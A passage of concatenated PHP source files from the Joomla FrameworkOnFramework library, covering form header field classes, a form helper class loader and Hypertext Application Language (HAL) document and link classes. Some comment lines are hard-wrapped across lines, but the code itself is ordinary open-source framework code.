* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generic filter, text box entry with optional buttons
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderFilterfilterable extends FOFFormHeaderFieldfilterable
{
/**
* Get the header
*
* @return string The header HTML
*/
protected function getHeader()
{
return '';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generic filter, text box entry with optional buttons
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderFiltersearchable extends FOFFormHeaderFieldsearchable
{
/**
* Get the header
*
* @return string The header HTML
*/
protected function getHeader()
{
return '';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generic filter, drop-down based on fixed options
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderFilterselectable extends FOFFormHeaderFieldselectable
{
/**
* Get the header
*
* @return string The header HTML
*/
protected function getHeader()
{
return '';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Generic filter, drop-down based on SQL query
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderFiltersql extends FOFFormHeaderFieldsql
{
/**
* Get the header
*
* @return string The header HTML
*/
protected function getHeader()
{
return '';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Language field header
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderLanguage extends FOFFormHeaderFieldselectable
{
/**
* Method to get the filter options.
*
* @return array The filter option objects.
*
* @since 2.0
*/
protected function getOptions()
{
// Initialize some field attributes.
$client = (string) $this->element['client'];
if ($client != 'site' && $client !=
'administrator')
{
$client = 'site';
}
// Merge any additional options in the XML definition.
$options = array_merge(
parent::getOptions(),
JLanguageHelper::createLanguageList($this->value,
constant('JPATH_' . strtoupper($client)), true, true)
);
return $options;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
if (!class_exists('JFormFieldSql'))
{
require_once JPATH_LIBRARIES . '/joomla/form/fields/sql.php';
}
/**
* Form Field class for FOF
* Generic list from a model's results
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderModel extends FOFFormHeaderFieldselectable
{
/**
* Method to get the field options.
*
* @return array The field option objects.
*/
protected function getOptions()
{
$options = array();
// Initialize some field attributes.
$key = $this->element['key_field'] ? (string)
$this->element['key_field'] : 'value';
$value = $this->element['value_field'] ? (string)
$this->element['value_field'] : (string)
$this->element['name'];
$applyAccess = $this->element['apply_access'] ? (string)
$this->element['apply_access'] : 'false';
$modelName = (string) $this->element['model'];
$nonePlaceholder = (string) $this->element['none'];
$translate = empty($this->element['translate']) ?
'true' : (string) $this->element['translate'];
$translate = in_array(strtolower($translate),
array('true','yes','1','on')) ?
true : false;
if (!empty($nonePlaceholder))
{
$options[] = JHtml::_('select.option', null,
JText::_($nonePlaceholder));
}
// Process field attributes
$applyAccess = strtolower($applyAccess);
$applyAccess = in_array($applyAccess, array('yes',
'on', 'true', '1'));
// Explode model name into model name and prefix
$parts = FOFInflector::explode($modelName);
$mName = ucfirst(array_pop($parts));
$mPrefix = FOFInflector::implode($parts);
// Get the model object
$config = array('savestate' => 0);
$model = FOFModel::getTmpInstance($mName, $mPrefix, $config);
if ($applyAccess)
{
$model->applyAccessFiltering();
}
// Process state variables
foreach ($this->element->children() as $stateoption)
{
// Only add <option /> elements.
if ($stateoption->getName() != 'state')
{
continue;
}
$stateKey = (string) $stateoption['key'];
$stateValue = (string) $stateoption;
$model->setState($stateKey, $stateValue);
}
// Set the query and get the result list.
$items = $model->getItemList(true);
// Build the field options.
if (!empty($items))
{
foreach ($items as $item)
{
if ($translate == true)
{
$options[] = JHtml::_('select.option', $item->$key,
JText::_($item->$value));
}
else
{
$options[] = JHtml::_('select.option', $item->$key,
$item->$value);
}
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Ordering field header
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderOrdering extends FOFFormHeader
{
/**
* Get the header
*
* @return string The header HTML
*/
protected function getHeader()
{
$sortable = ($this->element['sortable'] !=
'false');
$view = $this->form->getView();
$model = $this->form->getModel();
$hasAjaxOrderingSupport = $view->hasAjaxOrderingSupport();
if (!$sortable)
{
// Non sortable?! I'm not sure why you'd want that, but if you
insist...
return JText::_('JGRID_HEADING_ORDERING');
}
if (!$hasAjaxOrderingSupport)
{
// Ye olde Joomla! 2.5 method
$html = JHTML::_('grid.sort',
'JFIELD_ORDERING_LABEL', 'ordering',
$view->getLists()->order_Dir, $view->getLists()->order,
'browse');
$html .= JHTML::_('grid.order', $model->getList());
return $html;
}
else
{
// The new, drag'n'drop ordering support WITH a save order
button
$html = JHtml::_(
'grid.sort',
'<i class="icon-menu-2"></i>',
'ordering',
$view->getLists()->order_Dir,
$view->getLists()->order,
null,
'asc',
'JGRID_HEADING_ORDERING'
);
$ordering = $view->getLists()->order == 'ordering';
if ($ordering)
{
$html .= '<a href="javascript:saveorder(' .
(count($model->getList()) - 1) . ', \'saveorder\')"
' .
'rel="tooltip" class="save-order btn btn-micro
pull-right" title="' .
JText::_('JLIB_HTML_SAVE_ORDER') . '">'
. '<span
class="icon-ok"></span></a>';
}
return $html;
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Field header for Published (enabled) columns
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderPublished extends FOFFormHeaderFieldselectable
{
/**
* Create objects for the options
*
* @return array The array of option objects
*/
protected function getOptions()
{
$config = array(
'published' => 1,
'unpublished' => 1,
'archived' => 0,
'trash' => 0,
'all' => 0,
);
$stack = array();
if ($this->element['show_published'] == 'false')
{
$config['published'] = 0;
}
if ($this->element['show_unpublished'] == 'false')
{
$config['unpublished'] = 0;
}
if ($this->element['show_archived'] == 'true')
{
$config['archived'] = 1;
}
if ($this->element['show_trash'] == 'true')
{
$config['trash'] = 1;
}
if ($this->element['show_all'] == 'true')
{
$config['all'] = 1;
}
$options = JHtml::_('jgrid.publishedOptions', $config);
reset($options);
return $options;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Row selection checkbox
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHeaderRowselect extends FOFFormHeader
{
/**
* Get the header
*
* @return string The header HTML
*/
protected function getHeader()
{
return '<input type="checkbox"
name="checkall-toggle" value="" title="'
. JText::_('JGLOBAL_CHECK_ALL')
. '" onclick="Joomla.checkAll(this)" />';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* An interface for FOFFormHeader fields, used to define the filters and
the
* elements of the header row in repeatable (browse) views
*
* @package FrameworkOnFramework
* @since 2.0
*/
abstract class FOFFormHeader
{
/**
* The description text for the form field. Usually used in tooltips.
*
* @var string
* @since 2.0
*/
protected $description;
/**
* The SimpleXMLElement object of the <field /> XML element that
describes the header field.
*
* @var SimpleXMLElement
* @since 2.0
*/
protected $element;
/**
* The FOFForm object of the form attached to the header field.
*
* @var FOFForm
* @since 2.0
*/
protected $form;
/**
* The label for the header field.
*
* @var string
* @since 2.0
*/
protected $label;
/**
* The header HTML.
*
* @var string|null
* @since 2.0
*/
protected $header;
/**
* The filter HTML.
*
* @var string|null
* @since 2.0
*/
protected $filter;
/**
* The buttons HTML.
*
* @var string|null
* @since 2.0
*/
protected $buttons;
/**
* The options for a drop-down filter.
*
* @var array|null
* @since 2.0
*/
protected $options;
/**
* The name of the form field.
*
* @var string
* @since 2.0
*/
protected $name;
/**
* The name of the field.
*
* @var string
* @since 2.0
*/
protected $fieldname;
/**
* The group of the field.
*
* @var string
* @since 2.0
*/
protected $group;
/**
* The form field type.
*
* @var string
* @since 2.0
*/
protected $type;
/**
* The value of the filter.
*
* @var mixed
* @since 2.0
*/
protected $value;
/**
* The intended table data width (in pixels or percent).
*
* @var mixed
* @since 2.0
*/
protected $tdwidth;
/**
* The key of the filter value in the model state.
*
* @var mixed
* @since 2.0
*/
protected $filterSource;
/**
* Is this a sortable column?
*
* @var bool
* @since 2.0
*/
protected $sortable = false;
/**
* Method to instantiate the form field object.
*
* @param FOFForm $form The form to attach to the form field object.
*
* @since 2.0
*/
public function __construct(FOFForm $form = null)
{
// If there is a form passed into the constructor set the form and form
control properties.
if ($form instanceof FOFForm)
{
$this->form = $form;
}
}
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'description':
case 'name':
case 'type':
case 'fieldname':
case 'group':
case 'tdwidth':
return $this->$name;
break;
case 'label':
if (empty($this->label))
{
$this->label = $this->getLabel();
}
return $this->label;
case 'value':
if (empty($this->value))
{
$this->value = $this->getValue();
}
return $this->value;
break;
case 'header':
if (empty($this->header))
{
$this->header = $this->getHeader();
}
return $this->header;
break;
case 'filter':
if (empty($this->filter))
{
$this->filter = $this->getFilter();
}
return $this->filter;
break;
case 'buttons':
if (empty($this->buttons))
{
$this->buttons = $this->getButtons();
}
return $this->buttons;
break;
case 'options':
if (empty($this->options))
{
$this->options = $this->getOptions();
}
return $this->options;
break;
case 'sortable':
if (empty($this->sortable))
{
$this->sortable = $this->getSortable();
}
return $this->sortable;
break;
}
return null;
}
/**
* Method to attach a JForm object to the field.
*
* @param FOFForm $form The JForm object to attach to the form field.
*
* @return FOFFormHeader The form field object so that the method can be
used in a chain.
*
* @since 2.0
*/
public function setForm(FOFForm $form)
{
$this->form = $form;
return $this;
}
/**
* Method to attach a FOFForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the <field /> tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @since 2.0
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
// Make sure there is a valid JFormField XML element.
if ((string) $element->getName() != 'header')
{
return false;
}
// Reset the internal fields
$this->label = null;
$this->header = null;
$this->filter = null;
$this->buttons = null;
$this->options = null;
$this->value = null;
$this->filterSource = null;
// Set the XML element object.
$this->element = $element;
// Get some important attributes from the form field element.
$class = (string) $element['class'];
$id = (string) $element['id'];
$name = (string) $element['name'];
$filterSource = (string) $element['filter_source'];
$tdwidth = (string) $element['tdwidth'];
// Set the field description text.
$this->description = (string) $element['description'];
// Set the group of the field.
$this->group = $group;
// Set the td width of the field.
$this->tdwidth = $tdwidth;
// Set the field name and id.
$this->fieldname = $this->getFieldName($name);
$this->name = $this->getName($this->fieldname);
$this->id = $this->getId($id, $this->fieldname);
$this->filterSource = $this->getFilterSource($filterSource);
// Set the field default value.
$this->value = $this->getValue();
return true;
}
/**
* Method to get the id used for the field input tag.
*
* @param string $fieldId The field element id.
* @param string $fieldName The field element name.
*
* @return string The id to be used for the field input tag.
*
* @since 2.0
*/
protected function getId($fieldId, $fieldName)
{
$id = '';
// If the field is in a group add the group control to the field id.
if ($this->group)
{
// If we already have an id segment add the group control as another
level.
if ($id)
{
$id .= '_' . str_replace('.', '_',
$this->group);
}
else
{
$id .= str_replace('.', '_', $this->group);
}
}
// If we already have an id segment add the field id/name as another
level.
if ($id)
{
$id .= '_' . ($fieldId ? $fieldId : $fieldName);
}
else
{
$id .= ($fieldId ? $fieldId : $fieldName);
}
// Clean up any invalid characters.
$id = preg_replace('#\W#', '_', $id);
return $id;
}
/**
* Method to get the name used for the field input tag.
*
* @param string $fieldName The field element name.
*
* @return string The name to be used for the field input tag.
*
* @since 2.0
*/
protected function getName($fieldName)
{
$name = '';
// If the field is in a group add the group control to the field name.
if ($this->group)
{
// If we already have a name segment add the group control as another
level.
$groups = explode('.', $this->group);
if ($name)
{
foreach ($groups as $group)
{
$name .= '[' . $group . ']';
}
}
else
{
$name .= array_shift($groups);
foreach ($groups as $group)
{
$name .= '[' . $group . ']';
}
}
}
// If we already have a name segment add the field name as another level.
if ($name)
{
$name .= '[' . $fieldName . ']';
}
else
{
$name .= $fieldName;
}
return $name;
}
/**
* Method to get the field name used.
*
* @param string $fieldName The field element name.
*
* @return string The field name
*
* @since 2.0
*/
protected function getFieldName($fieldName)
{
return $fieldName;
}
/**
* Method to get the field label.
*
* @return string The field label.
*
* @since 2.0
*/
protected function getLabel()
{
// Get the label text from the XML element, defaulting to the element
name.
$title = $this->element['label'] ? (string)
$this->element['label'] : '';
if (empty($title))
{
$view = $this->form->getView();
$params = $view->getViewOptionAndName();
$title = $params['option'] . '_' .
FOFInflector::pluralize($params['view']) .
'_FIELD_' .
(string) $this->element['name'];
$title = strtoupper($title);
$result = JText::_($title);
if ($result === $title)
{
$title = ucfirst((string) $this->element['name']);
}
}
return $title;
}
/**
* Get the filter value for this header field
*
* @return mixed The filter value
*/
protected function getValue()
{
$model = $this->form->getModel();
return $model->getState($this->filterSource);
}
/**
* Return the key of the filter value in the model state or, if it's
not set,
* the name of the field.
*
* @param string $filterSource The filter source value to return
*
* @return string
*/
protected function getFilterSource($filterSource)
{
if ($filterSource)
{
return $filterSource;
}
else
{
return $this->name;
}
}
/**
* Is this a sortable field?
*
* @return boolean True if it's sortable
*/
protected function getSortable()
{
$sortable = ($this->element['sortable'] !=
'false');
if ($sortable)
{
if (empty($this->header))
{
$this->header = $this->getHeader();
}
$sortable = !empty($this->header);
}
return $sortable;
}
/**
* Returns the HTML for the header row, or null if this element should
* render no header element
*
* @return string|null HTML code or null if nothing is to be rendered
*
* @since 2.0
*/
protected function getHeader()
{
return null;
}
/**
* Returns the HTML for a text filter to be rendered in the filter row,
* or null if this element should render no text input filter.
*
* @return string|null HTML code or null if nothing is to be rendered
*
* @since 2.0
*/
protected function getFilter()
{
return null;
}
/**
* Returns the HTML for the buttons to be rendered in the filter row,
* next to the text input filter, or null if this element should render no
* text input filter buttons.
*
* @return string|null HTML code or null if nothing is to be rendered
*
* @since 2.0
*/
protected function getButtons()
{
return null;
}
/**
* Returns the JHtml options for a drop-down filter. Do not include an
* empty option, it is added automatically.
*
* @return array The JHtml options for a drop-down filter
*
* @since 2.0
*/
protected function getOptions()
{
return array();
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JLoader::import('joomla.form.helper');
/**
* FOFForm's helper class.
* Provides a storage for filesystem's paths where FOFForm's
entities reside and
* methods for creating those entities. Also stores objects with
entities'
* prototypes for further reusing.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormHelper extends JFormHelper
{
/**
* Method to load a form field object given a type.
*
* @param string $type The field type.
* @param boolean $new Flag to toggle whether we should get a new
instance of the object.
*
* @return mixed JFormField object on success, false otherwise.
*
* @since 11.1
*/
public static function loadFieldType($type, $new = true)
{
return self::loadType('field', $type, $new);
}
/**
* Method to load a form field object given a type.
*
* @param string $type The field type.
* @param boolean $new Flag to toggle whether we should get a new
instance of the object.
*
* @return mixed JFormField object on success, false otherwise.
*
* @since 11.1
*/
public static function loadHeaderType($type, $new = true)
{
return self::loadType('header', $type, $new);
}
/**
* Method to load a form entity object given a type.
* Each type is loaded only once and then used as a prototype for other
objects of same type.
* Please, use this method only with those entities which support types
(forms don't support them).
*
* @param string $entity The entity.
* @param string $type The entity type.
* @param boolean $new Flag to toggle whether we should get a new
instance of the object.
*
* @return mixed Entity object on success, false otherwise.
*
* @since 11.1
*/
protected static function loadType($entity, $type, $new = true)
{
// Reference to an array with current entity's type instances
$types = &self::$entities[$entity];
$key = md5($type);
// Return an entity object if it already exists and we don't need a
new one.
if (isset($types[$key]) && $new === false)
{
return $types[$key];
}
$class = self::loadClass($entity, $type);
if ($class !== false)
{
// Instantiate a new type object.
$types[$key] = new $class;
return $types[$key];
}
else
{
return false;
}
}
/**
* Attempt to import the JFormField class file if it isn't already
imported.
* You can use this method outside of JForm for loading a field for
inheritance or composition.
*
* @param string $type Type of a field whose class should be loaded.
*
* @return mixed Class name on success or false otherwise.
*
* @since 11.1
*/
public static function loadFieldClass($type)
{
return self::loadClass('field', $type);
}
/**
* Attempt to import the FOFFormHeader class file if it isn't already
imported.
* You can use this method outside of JForm for loading a field for
inheritance or composition.
*
* @param string $type Type of a field whose class should be loaded.
*
* @return mixed Class name on success or false otherwise.
*
* @since 11.1
*/
public static function loadHeaderClass($type)
{
return self::loadClass('header', $type);
}
/**
* Load a class for one of the form's entities of a particular type.
* Currently, it makes sense to use this method for the "field"
and "rule" entities
* (but you can support more entities in your subclass).
*
* @param string $entity One of the form entities (field or rule).
* @param string $type Type of an entity.
*
* @return mixed Class name on success or false otherwise.
*
* @since 2.0
*/
public static function loadClass($entity, $type)
{
if (strpos($type, '.'))
{
list($prefix, $type) = explode('.', $type);
$altPrefix = $prefix;
}
else
{
$prefix = 'FOF';
$altPrefix = 'J';
}
$class = JString::ucfirst($prefix, '_') . 'Form' .
JString::ucfirst($entity, '_') . JString::ucfirst($type,
'_');
$altClass = JString::ucfirst($altPrefix, '_') .
'Form' . JString::ucfirst($entity, '_') .
JString::ucfirst($type, '_');
if (class_exists($class))
{
return $class;
}
elseif (class_exists($altClass))
{
return $altClass;
}
// Get the field search path array.
$paths = self::addPath($entity);
// If the type is complex, add the base type to the paths.
if ($pos = strpos($type, '_'))
{
// Add the complex type prefix to the paths.
for ($i = 0, $n = count($paths); $i < $n; $i++)
{
// Derive the new path.
$path = $paths[$i] . '/' . strtolower(substr($type, 0,
$pos));
// If the path does not exist, add it.
if (!in_array($path, $paths))
{
$paths[] = $path;
}
}
// Break off the end of the complex type.
$type = substr($type, $pos + 1);
}
// Try to find the class file.
$type = strtolower($type) . '.php';
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
foreach ($paths as $path)
{
if ($file = $filesystem->pathFind($path, $type))
{
require_once $file;
if (class_exists($class))
{
break;
}
elseif (class_exists($altClass))
{
break;
}
}
}
// Check for all if the class exists.
if (class_exists($class))
{
return $class;
}
elseif (class_exists($altClass))
{
return $altClass;
}
else
{
return false;
}
}
/**
* Method to add a path to the list of header include paths.
*
* @param mixed $new A path or array of paths to add.
*
* @return array The list of paths that have been added.
*/
public static function addHeaderPath($new = null)
{
return self::addPath('header', $new);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage hal
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* Implementation of the Hypertext Application Language document in PHP. It
can
* be used to provide hypermedia in a web service context.
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFHalDocument
{
/**
* The collection of links of this document
*
* @var FOFHalLinks
*/
private $_links = null;
/**
* The data (resource state or collection of resource state objects) of
the
* document.
*
* @var array
*/
private $_data = null;
/**
* Embedded documents. This is an array of FOFHalDocument instances.
*
* @var array
*/
private $_embedded = array();
/**
* When $_data is an array we'll output the list of data under this
key
* (JSON) or tag (XML)
*
* @var string
*/
private $_dataKey = '_list';
/**
* Public constructor
*
* @param mixed $data The data of the document (usually, the resource
state)
*/
public function __construct($data = null)
{
$this->_data = $data;
$this->_links = new FOFHalLinks;
}
/**
* Add a link to the document
*
* @param string $rel The relation of the link to the
document.
* See RFC 5988
http://tools.ietf.org/html/rfc5988#section-6.2.2 A document MUST always
have
* a "self" link.
* @param FOFHalLink $link The actual link object
* @param boolean $overwrite When false and a link of $rel relation
exists, an array of links is created. Otherwise the
* existing link is overwriten with the
new one
*
* @see FOFHalLinks::addLink
*
* @return boolean True if the link was added to the collection
*/
public function addLink($rel, FOFHalLink $link, $overwrite = true)
{
return $this->_links->addLink($rel, $link, $overwrite);
}
/**
* Add links to the document
*
* @param string $rel The relation of the link to the document.
See RFC 5988
* @param array $links An array of FOFHalLink objects
* @param boolean $overwrite When false and a link of $rel relation
exists, an array of
* links is created. Otherwise the existing
link is overwriten
* with the new one
*
* @see FOFHalLinks::addLinks
*
* @return boolean
*/
public function addLinks($rel, array $links, $overwrite = true)
{
return $this->_links->addLinks($rel, $links, $overwrite);
}
/**
* Add data to the document
*
* @param stdClass $data The data to add
* @param boolean $overwrite Should I overwrite existing data?
*
* @return void
*/
public function addData($data, $overwrite = true)
{
if (is_array($data))
{
$data = (object) $data;
}
if ($overwrite)
{
$this->_data = $data;
}
else
{
if (!is_array($this->_data))
{
$this->_data = array($this->_data);
}
$this->_data[] = $data;
}
}
/**
* Add an embedded document
*
* @param string $rel The relation of the embedded
document to its container document
* @param FOFHalDocument $document The document to add
* @param boolean $overwrite Should I overwrite existing data
with the same relation?
*
* @return boolean
*/
public function addEmbedded($rel, FOFHalDocument $document, $overwrite =
true)
{
if (!array_key_exists($rel, $this->_embedded) || !$overwrite)
{
$this->_embedded[$rel] = $document;
}
elseif (array_key_exists($rel, $this->_embedded) &&
!$overwrite)
{
if (!is_array($this->_embedded[$rel]))
{
$this->_embedded[$rel] = array($this->_embedded[$rel]);
}
$this->_embedded[$rel][] = $document;
}
else
{
return false;
}
}
/**
* Returns the collection of links of this document
*
* @param string $rel The relation of the links to fetch. Skip to get
all links.
*
* @return array
*/
public function getLinks($rel = null)
{
return $this->_links->getLinks($rel);
}
/**
* Returns the collection of embedded documents
*
* @param string $rel Optional; the relation to return the embedded
documents for
*
* @return array|FOFHalDocument
*/
public function getEmbedded($rel = null)
{
if (empty($rel))
{
return $this->_embedded;
}
elseif (isset($this->_embedded[$rel]))
{
return $this->_embedded[$rel];
}
else
{
return array();
}
}
/**
* Return the data attached to this document
*
* @return array|stdClass
*/
public function getData()
{
return $this->_data;
}
/**
* Instantiate and call a suitable renderer class to render this document
* into the specified format.
*
* @param string $format The format to render the document into, e.g.
'json'
*
* @return string The rendered document
*
* @throws RuntimeException If the format is unknown, i.e. there is no
suitable renderer
*/
public function render($format = 'json')
{
$class_name = 'FOFHalRender' . ucfirst($format);
if (!class_exists($class_name, true))
{
throw new RuntimeException("Unsupported HAL Document format
'$format'. Render aborted.");
}
$renderer = new $class_name($this);
return $renderer->render(
array(
'data_key' => $this->_dataKey
)
);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage hal
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* Implementation of the Hypertext Application Language link in PHP.
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFHalLink
{
/**
* For indicating the target URI. Corresponds with the ’Target IRI’ as
* defined in Web Linking (RFC 5988). This attribute MAY contain a URI
* Template (RFC6570) and in which case, SHOULD be complemented by an
* additional templated attribtue on the link with a boolean value true.
*
* @var string
*/
protected $_href = '';
/**
* This attribute SHOULD be present with a boolean value of true when the
* href of the link contains a URI Template (RFC6570).
*
* @var boolean
*/
protected $_templated = false;
/**
* For distinguishing between Resource and Link elements that share the
* same relation
*
* @var string
*/
protected $_name = null;
/**
* For indicating what the language of the result of dereferencing the
link should be.
*
* @var string
*/
protected $_hreflang = null;
/**
* For labeling the destination of a link with a human-readable
identifier.
*
* @var string
*/
protected $_title = null;
/**
* Public constructor of a FOFHalLink object
*
* @param string $href See $this->_href
* @param boolean $templated See $this->_templated
* @param string $name See $this->_name
* @param string $hreflang See $this->_hreflang
* @param string $title See $this->_title
*
* @throws RuntimeException If $href is empty
*/
public function __construct($href, $templated = false, $name = null,
$hreflang = null, $title = null)
{
if (empty($href))
{
throw new RuntimeException('A HAL link must always have a non-empty
href');
}
$this->_href = $href;
$this->_templated = $templated;
$this->_name = $name;
$this->_hreflang = $hreflang;
$this->_title = $title;
}
/**
* Is this a valid link? Checks the existence of required fields, not
their
* values.
*
* @return boolean
*/
public function check()
{
return !empty($this->_href);
}
/**
* Magic getter for the protected properties
*
* @param string $name The name of the property to retrieve, sans the
underscore
*
* @return mixed Null will always be returned if the property
doesn't exist
*/
public function __get($name)
{
$property = '_' . $name;
if (property_exists($this, $property))
{
return $this->$property;
}
else
{
return null;
}
}
/**
* Magic setter for the protected properties
*
* @param string $name The name of the property to set, sans the
underscore
* @param mixed $value The value of the property to set
*
* @return void
*/
public function __set($name, $value)
{
if (($name == 'href') && empty($value))
{
return;
}
$property = '_' . $name;
if (property_exists($this, $property))
{
$this->$property = $value;
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage hal
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* Implementation of the Hypertext Application Language links in PHP. This
is
* actually a collection of links.
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFHalLinks
{
/**
* The collection of links, sorted by relation
*
* @var array
*/
private $_links = array();
/**
* Add a single link to the links collection
*
* @param string $rel The relation of the link to the
document. See RFC 5988
*
http://tools.ietf.org/html/rfc5988#section-6.2.2 A document
* MUST always have a "self"
link.
* @param FOFHalLink $link The actual link object
* @param boolean $overwrite When false and a link of $rel relation
exists, an array of
* links is created. Otherwise the
existing link is overwriten
* with the new one
*
* @return boolean True if the link was added to the collection
*/
public function addLink($rel, FOFHalLink $link, $overwrite = true)
{
if (!$link->check())
{
return false;
}
if (!array_key_exists($rel, $this->_links) || $overwrite)
{
$this->_links[$rel] = $link;
}
elseif (array_key_exists($rel, $this->_links) && !$overwrite)
{
if (!is_array($this->_links[$rel]))
{
$this->_links[$rel] = array($this->_links[$rel]);
}
$this->_links[$rel][] = $link;
}
else
{
return false;
}
}
/**
* Add multiple links to the links collection
*
* @param string $rel The relation of the links to the
document. See RFC 5988.
* @param array $links An array of FOFHalLink objects
* @param boolean $overwrite When false and a link of $rel relation
exists, an array
* of links is created. Otherwise the
existing link is
* overwriten with the new one
*
* @return boolean True if the link was added to the collection
*/
public function addLinks($rel, array $links, $overwrite = true)
{
if (empty($links))
{
return false;
}
$localOverwrite = $overwrite;
foreach ($links as $link)
{
if ($link instanceof FOFHalLink)
{
$this->addLink($rel, $link, $localOverwrite);
}
// After the first time we call this with overwrite on we have to
// turn it off so that the other links are added to the set instead
// of overwriting the first item that's already added.
if ($localOverwrite)
{
$localOverwrite = false;
}
}
}
/**
* Returns the collection of links
*
* @param string $rel Optional; the relation to return the links for
*
* @return array|FOFHalLink
*/
public function getLinks($rel = null)
{
if (empty($rel))
{
return $this->_links;
}
elseif (isset($this->_links[$rel]))
{
return $this->_links[$rel];
}
else
{
return array();
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage hal
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* Interface for HAL document renderers
*
* @package FrameworkOnFramework
* @since 2.1
*/
interface FOFHalRenderInterface
{
/**
* Render a HAL document into a representation suitable for consumption.
*
* @param array $options Renderer-specific options
*
* @return void
*/
public function render($options = array());
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage hal
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
